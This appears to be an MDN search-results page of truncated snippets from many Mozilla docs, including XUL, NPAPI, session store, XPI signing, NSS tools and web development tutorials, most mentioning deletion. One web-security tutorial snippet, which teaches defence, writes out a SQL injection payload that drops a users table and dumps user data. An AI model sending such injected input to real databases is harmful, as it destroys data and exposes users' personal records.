case and lowercase letters and they will be handled the same. for triggers on other special keys, use the keycode attribute with the appropriate keycode name value. in general you can use the keycode name for any key; the most commonly used ones are shown in table 3. ...
...rcase letters and they will be handled the same. for triggers on other special keys, use the keycode attribute with the appropriate keycode name value. in general you can use the keycode name for any key; the most commonly used ones are shown in table 3. ...
Session store API - Archive of obsolete content
.getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var retrieveddata = ss.gettabvalue(currenttab, "key-name-here"); after this code executes, the variable retrieveddata contains the value saved for the key "key-name-here". retrieveddata is undefined if there is no value saved for that key name. ...
...d for the key "key-name-here". retrieveddata is undefined if there is no value saved for that key name. deleting a value associated with a tab to delete a value from a tab, you can use code similar to the following: var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; ss.deletetabvalue(currenttab, "key-name-here"); remarks the window value save and restore functions work exactly like the tab-based functions by similar names. starting in firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk. see the list in observer notifications. using the session store api in seamonkey there ...
Signing an XPI - Archive of obsolete content
e certificate database: c:\projects\codesigning\> dir x509* 14/12/2005 15:13 1,031 x509.cacert 14/12/2005 15:13 798 x509.raw c:\projects\codesigning\> certutil -d . -l mytestcert u,u,cu prepare xpi file for signing create a new folder just for signing, copy your existing xpi into it, unzip* it (maintaining paths), delete the xpi and return to the certificate-database folder. *assumes you have a zip utility available on your system path. this example is using the cygwin bin/zip.exe tool. you can use a graphical zip tool provided it manages the internal sub-directory structure properly. an alternative is to use winrar. the 7-zip tool doesn't work when creating mozilla xpi signed archives because it sorts the dire...
...(deflated 62%) test your certificate to test your certificate, install it into your browser, and attempt to load the signed extension by following these steps: 1. temporarily install the test certificate authority into your mozilla browser rename the x509.cacert file generated earlier to x509.cert import it into mozilla firefox as a software developer certificate authority. don't forget to delete the certificate from mozilla firefox once you've finished testing firefox 1.5: from the tools menu choose options->advanced->security->view certificates->authorities firefox 1.0: from the tools menu choose options->advanced->certificates->manage certificates->authorities press the import button. navigate to the folder containing x509.cert and choose it. in the downloading certificate dialog,...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
nv_user + "@imap-int.int-evry.fr/templates"); lockpref("mail.identity.id1.tmpl_folder_picker_mode", "0"); lockpref("mail.identity.id1.valid", true); lockpref("mail.identity.id1.overrideglobal_pref", true); lockpref("mail.server.server1.download_on_biff", true); lockpref("mail.server.server1.login_at_startup", true); lockpref("mail.server.server1.username", env_user); lockpref("mail.server.server1.delete_model", 0); //smtp lockpref("mail.identity.id1.smtpserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.auth_method", 0); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.smtp.defaultserver", "smtp1"); lockpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.identity.id1.organization", "int evry france"); lockpref("mail.start...
...nv_user + "@imap-int.int-evry.fr/templates"); lockpref("mail.identity.id1.tmpl_folder_picker_mode", "0"); lockpref("mail.identity.id1.valid", true); lockpref("mail.identity.id1.overrideglobal_pref", true); lockpref("mail.server.server1.download_on_biff", true); lockpref("mail.server.server1.login_at_startup", true); lockpref("mail.server.server1.username", env_user); lockpref("mail.server.server1.delete_model", 0); //smtp defaultpref("mail.identity.id1.smtpserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.auth_method", 0); defaultpref("mail.smtpservers", "smtp1"); defaultpref("mail.smtpservers", "smtp1"); defaultpref("mail.smtp.defaultserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.identity.id1.organization", "int evry france"); lockp...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
isk on windows. build create a new project in visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard). if a wizard gives you a checkbox to create an empty project, then check it. ...
...plication settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard). if a wizard gives you a checkbox to create an empty project, then check it. otherwise you'll delete files later. again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files"). samples can be obtained from: https://developer.mozilla.org/en/plugins/samples...
Monitoring downloads - Archive of obsolete content
add searching. see also storage, nsidownloadmanager, nsidownload, nsidownloadprogresslistener ...
...ad manager or storage apis, they're things you might look into doing for practice: add code to update the download log window on the fly, instead of generating a static list when it's first opened. add additional statistics. what's the average download speed across all downloads? what times of day do you get the best download performance? add buttons to delete items from the log, or to delete all items that have finished downloading. add searching. see also storage, nsidownloadmanager, nsidownload, nsidownloadprogresslistener ...
The new nsString class implementation (1999) - Archive of obsolete content
by default, nsstrings use a 2-byte ucs2 character storage...
...dering if this is sufficient, namely, that a string can return it's own (shared) allocator for this purpose. our minimalistic nsimemoryagent interface is just rich enough to support the nsstring idiom, and could be extended to serve as the general memory allocation idiom. here's it's api: class nsimemoryagent : nsisupports { void* new(nsint32 asize)=0; //used for both alloc and realloc void* delete(void* aptr)=0; }; internationalization the new nsstrimpl/nsstring implementation addresses at least two of the primary concerns of our i18n team. first, nsstrimpl offers charset conversion hooks for use during construction, comparison and assignment. (these are stubbed out today awaiting their review and implementation). second, they are concerned that programmers be prevented from abusing the s...
XPInstall API reference - Archive of obsolete content
no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. ...
...irectory isfile macalias moddate moddatechanged move remove rename size windowsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue enumkeys enumvaluenames getvalue getvaluenumber getvaluestring iskeywritable keyexists setrootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scri...
Moving, Copying and Deleting Files - Archive of obsolete content
and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. there are several methods of the nsifile object which may be used to move and copy files on disk. nsifile.copyto() is used to copy a file, while nsifile.moveto() is used to move files. nsifile.remove() may be used to delete a file. copying a file nsifile.copyto() is used to copy files or directories, and should be called on the source file to copy. this method takes two arguments, the first is the destination directory in which to copy the file to, and the second argument is the new name of the file, if you wish to rename it in its new location. if you do not want to rename the file, and use the same name as the s...
...ing a file within the same directory, the destination argument may be null. for instance, the following example renames a file within the same directory: file.moveto(null, "hello.txt"); if the destination file already exists, nsifile.moveto() replaces the existing file. for this reason, you may wish to check if the file exists using nsifile.exists() before moving the file. deleting a file to delete a file, use nsifile.remove(). this method takes one boolean argument which indicates whether to delete recursively or not. if true and the file object refers to a directory, the directory will be removed as well all files and subdirectories within it. if false, a directory will only be removed if it is empty. if the directory is not empty, an error will occur. for files, the argument is simply ig...
controllers - Archive of obsolete content
e controllers to handle a command by using the focused element's list. ...
... example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> ...
Manifest Files - Archive of obsolete content
new directory you created in step 1. change the highlighted text to the file url below of the directory. make sure that it url ends with a slash and that you press enter at the end of the line. if you aren't sure what the url is, open the directory created in step 1 into a mozilla browser and copy the url from the location field. note that the reference should always be a directory, not a file. delete the file <mozilla-directory>/chrome/chrome.rdf. start mozilla. you should be able to view any xul files you put into the directory using a url of the form: chrome://applicationid/content/file.xul where file.xul is the filename. your main xul file should be applicationid.xul which you can load using the shortcut url chrome://applicationid/content/. if you are creating skin and/or locale portions...
... diagnose problems. here are a few tips in case you get stuck. open the file <mozilla-directory>/chrome/chrome.rdf. you should find references to your application id in there. if not, something is wrong with registration. if it is there, you are probably using the wrong chrome url when you load the file. try deleting the <mozilla-directory>/chrome/chrome.rdf file. it will get regenerated. also delete the entire <mozilla-directory>/chrome/overlayinfo/ directory if you are using overlays. make sure that the url in the line you added to installed-chrome.txt ends with a slash and the file itself ends with a blank line. on windows, file urls are of the form file:///c:/files/app/, where c is the drive letter. make sure the contents.rdf file is in the right directory and is well-formed. open the ...
Manipulating Lists - Archive of obsolete content
g over the selected items; if you modify the items in the list while iterating, the list will change and the selection properties may return different values. this is one reason why it is useful to manipulate the list by the item rather than by index. ...
... by index. deleting selected items the following example shows a method of deleting the selected items properly: example 4 : source view <script> function deleteselection(){ var list = document.getelementbyid('thelist'); var count = list.selectedcount; while (count--){ var item = list.selecteditems[0]; list.removeitemat(list.getindexofitem(item)); } } </script> <button label="delete" oncommand="deleteselection();"/> <listbox id="thelist" seltype="multiple"> <listitem label="cheddar"/> <listitem label="cheshire"/> <listitem label="edam"/> <listitem label="gouda"/> <listitem label="havartie"/> </listbox> inside the while loop we first get the selecteditem at index 0. the first selected item is always retrieved as the size of the array will decrease as the items...
Using the Editor from XUL - Archive of obsolete content
l a mouse listener. this only happens for situations where the nseditorshell is used (i.e. not for text widgets): nseditorshellmouselistener (as a nsidommouselistener) note: starting in gecko 12, the editor refuses any events sent by unprivileged content. nstexteditorkeylistener this event listener handles key presses for typing, and other editing operations (backspace, delete, enter/return). cases that it does not handle explicitly it passes on to nshtmleditor::editorkeypress(), which is where normal typing keys end up. note that it only responds to the keypress event; keydown and keyup events are ignored. nstexteditormouselistener the mouse listener is used to do middle-mouse paste (which is a unix copy/paste feature). this happens in response to mouseclick with bu...
...) on the current editing rules. because the implementation of inserting text differs between the different rules (plain text vs. html, for example), it is handled entirely by the rules code, in the willdoaction()call. in composer, we are using nshtmleditrules, so we end up in nshtmleditrules::willdoaction(). for text insertion, this drops into nshtmleditrules::willinserttext(). this code first deletes the selection if there is one (e.g. you are typing over selected text), then calls a generic pre-insertion call willinsert(), which sets up inline styles for the inserted text, and moves the selection to an appropriate place where the text is to be inserted. now we are ready to actually insert the text. recall that we're going through a generic inserttext() call, so this code deals with pasti...
The Implementation of the Application Object Model - Archive of obsolete content
esentation of data must be persistent. we must have the ability to add and remove nodes from the tree by saving the changes into the equivalent of a data source that can house the permanent changes (so that they can be sucked in and aggregated like everything else). this implies a need for the ability to make "negative" and "positive" assertions about connections in our tree, i.e., so that we can delete arcs and/or add arcs to the tree. statement #5 when a change is made to aggregated data that falls outside of the domain of an existing data source, it must be possible for that change to be persistently remembered by recording the change into a new data source that can then be read in when the data is re-aggregated in future sessions of the application. the architecture that i have just descr...
... within the subtree at which the discardable attribute occurs, the attribute in question will be considered to be non-persistent. the discardable attribute is ignored when used inside a non-persistent subtree. note that the persistent and discardable attributes only apply when a change has been made to the composite data source that was not handled by another data source (e.g., bookmarks). if you delete a bookmark, that's always going to be persistent, regardless of what you set these attributes to be. the attributes in question only apply to local annotations that are made outside of the domain of any particular data source. todo: more examples talk about data sources original document information written by: dave hyatt last modified on: 1/31/99 ...
NPN_DestroyStream - Archive of obsolete content
syntax #include <npapi.h> nperror npn_destroystream(npp instance, npstream* stream, nperror reason); parameters the function has the following parameters: instance pointer to current plug-in instance. stream pointer to current stream, initiated by either the browser or the plug-in. reason reason the stream was stopped so the application can give the user appropriate feedback. values: npres_done (most common): stream completed normally; all data was sent by the plug-in to the browser. ...
...es_user_break: plug-in is terminating the stream due to a user request. npres_network_err: stream failed due to network problems. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description the plug-in calls the npn_destroystream() function to close and delete a stream. this stream can be either a stream that the browser created and passed to the plug-in in npp_newstream(), or a stream created by the plug-in through a call to npn_newstream(). see also npp_destroystream() npn_newstream() npp_newstream() npstream npp ...
NPN_PostURLNotify - Archive of obsolete content
of the post request, specified by the plug-in. target target window, specified by the plug-in. for values, see npn_geturl. len length of the buffer buf. buf path to local temporary file or data buffer that contains the data to post. file whether to post a file. values: true: post the local file whose path is specified in buf, then delete the file. false: post the raw data in buf. notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify call, which returns this value (see description below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see err...
...ccessful completion of the request. for more information, see npn_posturl. npn_posturlnotify is typically asynchronous: it returns immediately and only later handles the request and calls npp_urlnotify. if this function is called with a target parameter value of _self or a parent to _self, this function should return an invalid_param nperror. this is the only way to notify the plug-in once it is deleted. see npn_geturl for information about this parameter. see also npn_geturl, npp_urlnotify, npn_posturl ...
NPStream - Archive of obsolete content
se of it. the headers include the http status line and all headers, verbatim as received from the server. lines are terminated by newline characters ("\n"), and the headers are terminated by a newline followed by null ("\n\0"). description the browser allocates and initializes the npstream object and passes it to the plug-in in as a parameter to npp_newstream or npn_newstream. the browser cannot delete the object until after it calls npp_destroystream or the plug-in calls npn_destroystream. streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream. all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to this stream. the browser informs the plug-in when the stream is abo...
...ct until after it calls npp_destroystream or the plug-in calls npn_destroystream. streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream. all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to this stream. the browser informs the plug-in when the stream is about to be deleted through npp_destroystream, after which the npstream object is no longer valid. streams produced by the plug-in: the browser creates the npstream object and returns it as an output parameter when the plug-in calls npp_newstream. the plug-in must pass a pointer to the npstream to all api calls that operate on the stream, such as npn_write and npn_destroystream. see also npp_newstream, npp_destroy...
Table Reflow Internals - Archive of obsolete content
le paginated reflow review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it starts when the pres shell processes its queue of r...
...a target when a caption is added or removed (dirty) or the table or caption margin changes (style changed). caption is a target when it changes stylistically (style changed). table, row group, row, col group, col is a target when a child is added or removed (dirty) or it changes stylistically (style changed). in the dirty cases, a target posted the reflow command in appendframes, insertframes, or deleteframe. table incremental reflow in the style change cases where a target is between the table and the cell, the table is told to rebalance. when a target is the cell or below and the cell changes size, the row tells the table so it can decide if it needs to rebalance when a target is inside the cell's block, the cell requests max element, preferred sizes of its block in case they change after th...
Array.observe() - Archive of obsolete content
however, this api has been deprecated and removed from browsers. you can use the more general proxy object instead. syntax array.observe(arr, callback) parameters arr the array to be observed. ...
...erved. callback the function called each time changes are made, with the following argument: changes an array of objects each representing a change. the properties of these change objects are: name: the name of the property which was changed. object: the changed array after the change was made. type: a string indicating the type of change taking place. one of "add", "update", "delete", or "splice". oldvalue: only for "update" and "delete" types. the value before the change. index: only for the "splice" type. the index at which the change occurred. removed: only for the "splice" type. an array of the removed elements. addedcount: only for the "splice" type. the number of elements added. description the callback function is called each time a change is ...
Object.prototype.watch() - Archive of obsolete content
a function to call when the specified property's value changes. return value undefined. description watches for assignment to a property named prop in this object, calling handler(prop, oldval, newval) whenever prop is set and storing the return value in that property. a watchpoint can filter (or nullify) the value assignment, by returning a modified newval (or by returning oldval). if you delete a property for which a watchpoint has been set, that watchpoint does not disappear. if you later recreate the property, the watchpoint is still in effect. to remove a watchpoint, use the unwatch() method. by default, the watch method is inherited by every object descended from object. the javascript debugger has functionality similar to that provided by this method, as well as other debugging o...
...document. however, window.location += '#myanchor' will call myhandler. note: calling watch() on an object for a specific property overrides any previous handler attached for that property. examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's properties. this example ensures that every person always has a valid name and an age between 0 and 200. class person { construct...
Old Proxy API - Archive of obsolete content
> strings array this function doesn't exist in ecmascript 5. like getownpropertynames, but should also return non-overridden inherited properties. object.defineproperty(proxy,name,pd) defineproperty: function(name, propertydescriptor) -> any define a new property whose attributes are determined by the given propertydescriptor. the return value of this method is ignored. delete proxy.name delete: function(name) -> boolean delete the named property from the proxy. the boolean return value of this method should indicate whether or not the name property was successfully deleted. object.freeze(proxy) object.seal(proxy) object.preventextensions(proxy) fix: function() -> propertydescriptor map (indexed on property names) | undefined ...
...igurable if (desc !== undefined) { desc.configurable = true; } return desc; }, getownpropertynames: function() { return object.getownpropertynames(obj); }, getpropertynames: function() { return object.getpropertynames(obj); // not in es5 }, defineproperty: function(name, desc) { object.defineproperty(obj, name, desc); }, delete: function(name) { return delete obj[name]; }, fix: function() { if (object.isfrozen(obj)) { return object.getownpropertynames(obj).map(function(name) { return object.getownpropertydescriptor(obj, name); }); } // as long as obj is not frozen, the proxy won't allow itself to be fixed return undefined; // will cause a typeerror to ...
Arrays - Learn web development
use for array methods like push() and pop() is when you are maintaining a record of currently active items in a web app. in an animated scene for example, you might have an array of objects representing the background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons. ...
... note: in a real search app, you'd probably be able to click the previous search terms to return to previous searches, and it would display actual search results! we are just keeping it simple for now. ...
Website security - Learn web development
. the process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. many web frameworks automatically sanitize user input from html forms by default. sql injection sql injection vulnerabilities enable malicious users to execute arbitrary sql code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. a successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable. sql injection types include error-based sql injection, sql injection based on boolean errors, and time-based sql injection. this vulnerability is present if user input tha...
...ifies a real name, the statement will work as intended. however, a malicious user could completely change the behavior of this sql statement to the new statement in the following example, by simply specifying the text in bold for the username. select * from users where name = 'a';drop table users; select * from userinfo where 't' = 't'; the modified statement creates a valid sql statement that deletes the users table and selects all data from the userinfo table (which reveals the information of every user). this works because the first part of the injected text (a';) completes the original statement. to avoid this sort of attack, you must ensure that any user data that is passed to an sql query cannot change the nature of the query. one way to do this is to escape all the characters in the u...
Componentizing our React app - Learn web development
if at any point in the future you try to render a component that does not return anything, react will display an error in your browser. our todo component is complete, at least for now; now we can use it. in app.js, add the following line near the top of ...
...another problem remains though: they're all still checked by default. is it completed? in our original static list, only eat was checked. once again, we want to reuse most of the ui that makes up a <todo /> component, but change one thing. th...
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
s nicely with the svelte reactive system. have a look at the relevant svelte school article for a more detailed introduction to actions. actions are also very useful for seamlessly integrating with third party libraries. component binding: exposing component methods and variables using the bind:this={component} directive there's still one accessibility annoyance left. when the user presses the delete button, the focus vanishes. so, the last feature we will be looking at in this article involves setting the focus on the status heading after a todo has been deleted. why the status heading? in this case, the element that had the focus has been deleted, so there's not a clear candidate to receive focus. we've picked the status heading because it's near the list of todos, and it's a way to give ...
... note: you might be wondering why we need to declare a new variable for component binding — why can't we just call todosstatus.focus()? you might have multiple todosstatus instances active, so you need a way to reference each particular ...
Accessible Toolkit Checklist
lways focus the next item, not insert a tab, unless there's a really good reason and another way to navigate always use system selection color, otherwise screen reader won't read the text make sure the caret is never blinking when focus is not in text field handle standard editing keys, such as arrow keys, home, end, pageup, pagedown, ctrl+left/right, shifted keys for selection, delete, ctrl+delete, backspace, ctrl+backspace, ctrl+a, ctrl+b, ctrl+c, ctrl+i, ctrl+u, ctrl+x, ctrl+v, ctrl+[shift]+z in multiline text field, enter key inserts new line (thus default button no longer shows dark border when multiline text field is focused) in autocomplete text fields, make sure the autocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, a...
... in autocomplete text fields, make sure that the left or right arrow closes the popup and starts moving through the text letter by letter msaa support, including accessible value that holds text, protected for password fields and readonly for read-only fields checkboxes space bar to toggle msaa suppor...
Eclipse CDT Manual Setup
the environment properly, so it's necessary to invoke just-print-mozilla-build.py indirectly through bash). (just-print-mozilla-build.py is a fast script that we'll download in the next section.) (append '--objdir /path/to/objdir' if your objdir lives outside your tree) set the build directory to "${projdirpath}/path/of/your/objdir/relative/to/the/root/of/your/source". select the "behavior" tab, delete the word "all" from the "build (incremental build)" field, and disable the clean checkbox. if you can't untick "use default build command", you must change the current builder by clicking on "tool chain editor" (in c/c++ build) and choosing another builder (e.g., "gnu make builder"). if you will not be using eclipse for debugging, select "c/c++ build > settings" on the left, select the "binar...
...acos/" - and since the ui will only allow you to select to the 'dist' folder, you'll need to type the end of the path in manually). how you add this depends on whether your object directory is inside or outside your source tree. if inside, use the "add folder" button; if outside, use the "link folder" button and tick the "link to folder in the file system" checkbox. once you've added this folder, delete the existing output folder that was set to the root of the project. doing this prevents the "searching for binaries" which eclipse constantly starts from taking too long. select "c/c++ general > preprocessor include paths, macros, and so on." select the providers tab. make sure that "cdt gcc build output parser" is selected, and that "cdt managed build settings entries" is not selected. highligh...
HTMLIFrameElement.purgeHistory()
warning: removed in firefox 65. the purgehistory() method of the htmliframeelement interface is used to clear the browsing history associated with the browser <iframe>. it only deletes history, not cookies or other stored information. note: to delete cookies for a firefox os app, you could call clearbrowserdata() on the actual app itself. syntax there is a domrequest version and a promise version: var mydomrequest = instanceofhtmliframeelement.purgehistory(); instanceofhtmliframeelement.purgehistory().then(function() { ... }); returns either a domrequest object that returns an onsuccess handler if the history is deleted, or an onerror handler if not. a promise that resolves, with no parameters, if the history is deleted, or rejects if not. parameters none. examples domreque...
...either a domrequest object that returns an onsuccess handler if the history is deleted, or an onerror handler if not. a promise that resolves, with no parameters, if the history is deleted, or rejects if not. parameters none. examples domrequest: var browser = document.queryselector('iframe'); var request = browser.purgehistory(); request.onsuccess = function() { console.log('history deleted!'); } request.onerror = function() { console.error(this.error.name); } promise: var browser = document.queryselector('iframe'); browser.purgehistory().then(function() { console.log('history deleted!'); }, function(error) { console.error(this.error.name); }); specification not part of any specification. ...
Download
indicates that the download has been canceled. this property can become true, then it can be reset to false when a canceled download is restarted. this property becomes true as soon as the cancel() method is called, though the stopped property might remain false until the cancellation request has been processed. temporary files or part files may still exist even if they are expected to be deleted, until the stopped property becomes true. contenttype string the mime type of the download, for example "text/plain", or null if the mime type is not available. this property may be populated or changed while the download is in progress, using the mime type provided by the server. currentbytes read only number number of bytes currently transf...
...esolves to undefined when the instruction to open the containing folder has been successfully given to the operating system. note that the os might still take a while until the folder is actually opened. cancel() cancels the download. the cancellation request is asynchronous. until the cancellation process finishes, temporary files or part files may still exist even if they are expected to be deleted. in case the download completes successfully before the cancellation request could be processed, this method has no effect, and it returns a resolved promise. you should check the properties of the download at the time the returned promise is resolved to determine if the download was canceled. calling this method when the download has been completed successfully, failed, or has been canceled h...
DownloadTarget
a ".part" file to keep partially downloaded data. size read only number the size of the target file, in bytes, or zero if the download has not yet been completed. it is possible for this property to have a non-zero value even if the target file no longer exists, if the value is available in download metadata. if that metadata is no longer available and the file has been deleted, then this value is zero. for single-file downloads, this property's value will always match the actual size of the file on disk, while the download.totalbytes property, when available, may indicate the size of the data as encoded for transfer instead. for downloads of multiple files, such as downloading a web page and its required media to disk, the meaning of this property is undefin...
...ould be required to check the file directly. methods refresh() updates the state of a finished, failed, or canceled download based on the current state as indicated by the file system. if the download is in progress or has been finalized, this method does nothing and returns a resolved promise. calling this method lets the download object's properties be updated if the user moves or deletes the target file or its associated ".part" file, which contains a partially-downloaded file's contents. promise refresh(); parameters none. promise resolves to undefined when the state of the download has been updated. promise can be rejected with never. ...
Profile Manager
and choose "backup to->backup folder" from the toolbar's backup menu. the profile will be backed up, and the backup will appear under the backups column in the main display: to restore a profile: select the backup in the main display, open the context menu, and choose "restore". when you restore a profile, the backup is retained, so you can restore from the same backup at a later date. to delete a backup: select the backup in the main display, open the context menu, and choose "delete". profile archives profile manager can also backup to and restore from .zip archives. profile manager does not track these backups in the ui, but using profile archives is an easy way to move profiles between machines. to backup a profile to an archive: select the profile you want to backup, and choos...
... "restore from->archive" from the toolbar's backup menu. you'll be prompted for the location of the archive, and then for the name of the profile you'd like to create from the archive. other operations context-clicking any profile in the profile list will cause a popup menu to appear with the following commands: copy - makes a copy of the profile using a name and location of your choice. delete - deletes the profile, and all files associated with it. properties - shows a dialog that displays the profile's path and last-modified date. rename - allows you to specify a new name for the profile. version - allows you change the default application version to be used with the profile. future enhancements ability to install/uninstall/enable/disable extensions in profiles. ability to...
Named Shared Memory
sharedmemory object. be sure to detach it when you're finished. pr_detachsharedmemory should be called to unmap the shared memory segment from the application's address space. pr_closesharedmemory should be called when no further use of the prsharedmemory object is required within a process. following a call to pr_closesharedmemory, the prsharedmemory object is invalid and cannot be reused. pr_deletesharedmemory should be called before process termination. after you call pr_deletesharedmemory, any further use of the shared memory associated with the name may cause unpredictable results. filenames the name passed to pr_opensharedmemory should be a valid filename for a unix platform. pr_opensharedmemory creates file using the name passed in. some platforms may mangle the name before creating ...
...mplementation, contents of the backing store for the shared memory can be exposed via the file system. set permissions and or access controls at create and attach time to ensure you get the desired security. on windows platforms, no special security measures are provided. named shared memory functions pr_opensharedmemory pr_attachsharedmemory pr_detachsharedmemory pr_closesharedmemory pr_deletesharedmemory ...
Cryptography functions
3.2 and later pk11_createdigestcontext mxr 3.2 and later pk11_creategenericobject mxr 3.12 and later pk11_createmergelog mxr 3.12 and later pk11_createpbealgorithmid mxr 3.2 and later pk11_createpbev2algorithmid mxr 3.12 and later pk11_deletetokenprivatekey mxr 3.4 and later pk11_deletetokenpublickey mxr 3.4 and later pk11_deletetokensymkey mxr 3.4 and later pk11_derive mxr 3.2 and later pk11_derivewithflags mxr 3.2 and later pk11_derivewithflagsperm mxr 3.9 and later p...
... pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls ...
NSS_3.12_release_notes.html
nericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecparamstobasepointorderlen (see keyhi.h) seckey_ecparamstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see cryptohi.h) vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camell...
...est.mn bug 412906: remove sha.c and sha.h from lib/freebl bug 353543: valgrind uninitialized memory read in nsspkiobjectcollection_addinstances bug 377548: nss qa test program certutil's default dsa prime is only 512 bits bug 333405: item cleanup is unused deadcode in secitem_allocitem loser bug 288730: compiler warnings in certutil bug 337251: warning: /* within comment bug 362967: export secmod_deletemoduleex bug 389248: nss build failure when nss_enable_ecc is not defined bug 390451: remembered passwords lost when changing master password bug 418546: reference leak in cert_pkixverifycert bug 390074: os/2 sign.cmd doesn't find sqlite3.dll bug 417392: certutil -l -n reports bogus trust flags documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation...
Encrypt Decrypt_MAC_Using Token
*/ ...
...choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it. */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it. */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it. */ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_...
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see cert...
